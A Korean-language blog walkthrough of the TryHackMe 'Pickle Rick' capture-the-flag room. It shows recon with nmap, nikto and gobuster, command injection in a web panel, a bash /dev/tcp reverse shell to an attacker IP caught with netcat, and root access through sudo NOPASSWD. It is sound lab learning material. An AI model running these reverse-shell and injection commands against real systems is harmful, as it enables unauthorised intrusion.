[TryHackMe] - Pickle Rick | walkthrough

C6rt4·2023년 5월 31일
0

Try Hack Me

목록 보기
2/2

Pickle Rick 실습 준비단계

1.) Start Machine을 눌러서 1분 동안 기다리면 타겟머신의 IP를 볼 수 있다.

2.) 이런식으로 표기가 된다.

information gathering (정보수집)

To-Do List

1.) To-Do List로 정보수집 단계에서 할일들을 간단하게 적어두었다.

Find Username

2.) 해당 IP주소에 접속해서 소스코드를 보면 주석처리 된 부분에 해당 내용이 있었다.

How can do play Nmap?

3.) -sV, -sC 옵션을 사용하였다.
-oN옵션을 통해서 nmap디렉토리에 initial 이라는 txt파일을 형태로 nmap결과를 저장하였다.

How can do play nikto?

4.) | tee 커맨드를 사용해 nikto.log 라는 파일로 결과 값을 저장 해줬다.

How can do play gobuster?

5.) -x 커맨드를 사용하여 php,sh,txt,cgi,html,js,css,py 같은 원하는 확장자 이름을 입력하면 편리하다.

Find robots.txt

6.) 해당 url에서 Wubbalubbadubdub 라는 값을 찾았다.

How can do Login?

7.) gobuster에서 찾은 login페이지에서 어떻게 하면 로그인을 할 수 있는가?
Find Username파트에서 찾았던 내용과 Find robots.txt 단계에서 찾은 내용을 입력한다.

Fake information

8.) How can do play gobuster?에서 찾은 portal.php 웹 페이지에서 소스코드를 보면 Base64같은 내용이 있다. 하지만 이건 가짜정보이다.

OS Version

Apache/2.4.18 (Ubuntu) Server와 Port 80에 대해 알 수 있었다.

Command Panel

9.) 로그인을 하고 나면 해당 페이지로 넘어가는데, Command Panel이 보인다.
커맨드 인젝션이 가능할 것으로 추정된다.

침투 작업 TTPs - 1번째

1.)
find Command Panel에 접속하여 로그인을 한다.
Username : R1ckRul3s
Password : Wubbalubbadubdu

2.)
구글링을 해서 해당 url의 코드를 활용했다.
공격자의 IP주소를 적고, 접속할 port를 적는다.

공격자의 새 터미널을 열고, nc -nvlp 9999를 입력해준다.
이렇게 payload를 완성하고, Command Panel칸에 입력해준다.

그러면 netcat터미널에서 쉘을 얻은걸 볼 수 있다.

3.)
탈취한 쉘에 id라고 입력해보면 www-data로 일반 유저 쉘이다.
pty취득 payload 작업을 해준다.
그러면 일반 쉘에서 www-data@ip-10-10-62-212:/var/www/html$로 바뀌어 있다.

4.)
작업할 전용 디렉토리 tool을 따로 만들어 주고, 이동하였다.
여기에 외부 tool 프로그램을 가져올 것이다.

5.)
linpeas.sh 라는 파일을 탈취한 타겟 쉘에 보내는 작업을 할 것이다.
공격자의PC 터미널에서 linpeas.sh 파일이 있는 디렉토리 경로에서 서버를 열어준다.

6.)
타겟 쉘에서 linpeas.sh의 절대경로를 입력하여 다운받아준다.

7.)
실행 할 수 있는 권한을 부여해준 뒤 실행을 한다.

8.)
Users Information 부분을 보면, (ALL) NOPASSWD: ALL 으로 나와 있다.

9.)
일반 쉘에서 sudo bash를 입력하니 root 권한인 # (샵) 모양이 떴다.

10.)
flag중 3번째 내용을 찾았다.

11.)
/home/rick/ 디렉토리로 이동해주니 2번째 flag가 보인다.

12.)
cat * 커맨드로 2번째 flag 내용을 찾았다.

13.)
/var/www/html 경로로 이동했다.
3번째 flag내용을 찾았다.

침투 작업 TTPs - 2번째

1.)
Command Panel에 커맨드 인젝션이 가능하다.

2.)
cat으로 해당 파일을 읽을 수 있는지 확인해보자

3.)
cat 이라는 해당 명령어는 비활성화 되어 있어서 이런 방법으로는 접근이 안된다.

4.)
cat 대신에 less를 사용해도 해당 파일을 읽을 수 있다.
1번째 Flag를 이런방법으로 찾아낼 수 도 있다.

꼭 타겟 Shell을 탈취하라는 정해진 틀은 없다.
정말 다양한 방면으로 해킹을 시도하고, 원하는 값을 쟁취 할 수 있다.

한가지 방법에만 너무 매몰되면, 후에 다른 해킹을 할때 매우 힘들어진다.
해당 방법 원툴로써 그 것 밖에 할줄 모르기 때문이다.

5.)
ls -l /home으로 여기에 사용자가 있는지 확인할 수 있다.
rick와 ubuntu가 있다고 뜬다.

6.)
위와 같은 방법인데 /rick이라는 사용자에 있는 내용을 보여달라는 커맨드이다.
2번째 Flag가 담긴 파일을 찾았다.

7.)
아까와 같이 less커맨드를 활용하여 해당 파일 내용을 읽을 수 있다.
하지만 여기서 'second ingredients'를 해줘야 한다.

즉, 작은 따옴표를 붙어주어야 한다.
less /home/rick/'second ingredients'

2번째 Flag를 찾았다.

8.)
sudo -l커맨드로 root로 권한 상승에 대한 정보를 알아낼 수 있다.

여기서 중요한 정보는 (ALL) NOPASSWD: ALL 이다.
아무 작업도 필요없이 root로 권한 상승이 가능하다. 라고 알면 된다.

9.)
1, 2번 Flag를 모두 찾았다.
마지막 3번 Flag만 남은 상황이다.

보통 이런경우는 root에 있는 경우가 많다.
역시 이번에도 root에 있었다.

sudo ls /root 커맨드를 통해서 /root에 있는 파일들을 볼 수 있다.
3rd.txt가 3번째 Flag일 것으로 추정된다.

10.)
sudo less /root/3rd.txt로 해당 파일을 읽어낼 수 있다.
이렇게 3번째 Flag 내용도 찾아냈다.

sudo를 붙이는 이유는 /root파일을 읽기위해 필요한 권한 커맨드이다.
less는 cat커맨드가 막혀서 같은 형태로 사용할 수 있는 대체 커맨드이다.

/root/3rd.txt는 해당 경로에 3번째 Flag가 있어서 적어준 것이다.

침투 작업 TTPs - 3번째

1.)
앞에서는 리버스 쉘을 사용하지 않고, 문제를 해결 할 수 있었다.

이번에는 리버스 쉘을 사용해서 문제를 해결해보는 방법을 알아보자

그 전에, "침투 작업 TTPs - 1번째" 내용과 똑같지 않냐? 라고 할 수 있다.

비슷한 "맥락"이긴 하지만 "다른 방법"이라고 할 수 있다.

2.)
Google에 payloads all the things revers shell 라고 검색을 해준다.

이렇게 생긴걸 찾아주면 된다.

3.)
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

해당 url 링크이다. ( 구글링으로 못찾았다면 이걸 클릭해서 접속하면 된다. )
밑으로 스크롤해서 내려보면, Reverse Shell의 Bash TCP라는걸 활용할 것이다.

그중에서, bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 해당 커맨드를 사용한다.

4.)
sudo bash -c를 앞에 적어준다.
일반적으로 사용하는 방법이다.

그리고, 작은 따옴표를 reverse shell 코드 앞뒤로 붙여준다.
sudo bash -c 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1'

10.0.0.1 부분에는 공격자 PC의 IP주소를 적으면 된다.
뒤에 4242는 원하는 port를 적으면 된다.

중요한점!!!
지금 Execute를 누르면 안된다.
뒤에 작업이 하나 더 있다.
그것 부터 하고 나서 Execute를 누른다.

5.)
공격자의 PC 터미널에서 nc -nvlp 4242를 입력해준다.

netcat을 사용하는 것이다.

4242는 아까 입력한 원하는 port번호이다.

이제 reverse shell payload가 있는 웹 페이지로 돌아가서 Execute를 누르면 된다.

타겟 Shell을 탈취할 수 있을 것이다.

6.)
정상적으로 작동이 되었다면, 빨간 밑줄 부분이 계속 돌아가고 있을 것이다.

해당 웹 브라우저는 FireFox이다. ( 다른 브라우저로 해도 무관하다. )

7.)
타겟 Shell 탈취가 성공적으로 작동하였다.

따로 권한상승할 필요없이 바로 root이다.

이후부터는 TTPs 1,2번과 동일하게 Flag 3개를 찾아내면 된다.
root이기에 매우 쉽다.

3번째 TTPs에는 전부 다 찾는건 생략하겠다.

Task 1 - Finish

1.)
찾아야 하는 Flag 내용이다.

2.)
100% 완료한 상태이다.

Turn off the machine

1.)
Expires를 보면 주어지는 시간은 처음에 2시간이다.

실습을 하다가 시간이 부족하면 Add 1 hour를 누르면 1시간이 추가된다.

Terminate를 누르면 실습 머신이 종료 된다.

https://youtube.com/@Certa6

제 유튜브 채널입니다.
도움이 됐다면, 구독 부탁합니다!
주변에 제 블로그, 유튜브를 알려주시면 감사하겠습니다~! :)

Thank you for watching the blog.
Please subscribe! I would appreciate it if you could share the blog around you.

profile
Hi, I am 2th year passionate student in the area of cyber security. I’m currently learning Offensive Security/Penetration Testing and would like to break into the field of cyber security. 07/10/2023 join Air Force "CERT" KR Air Force.

0개의 댓글

관련 채용 정보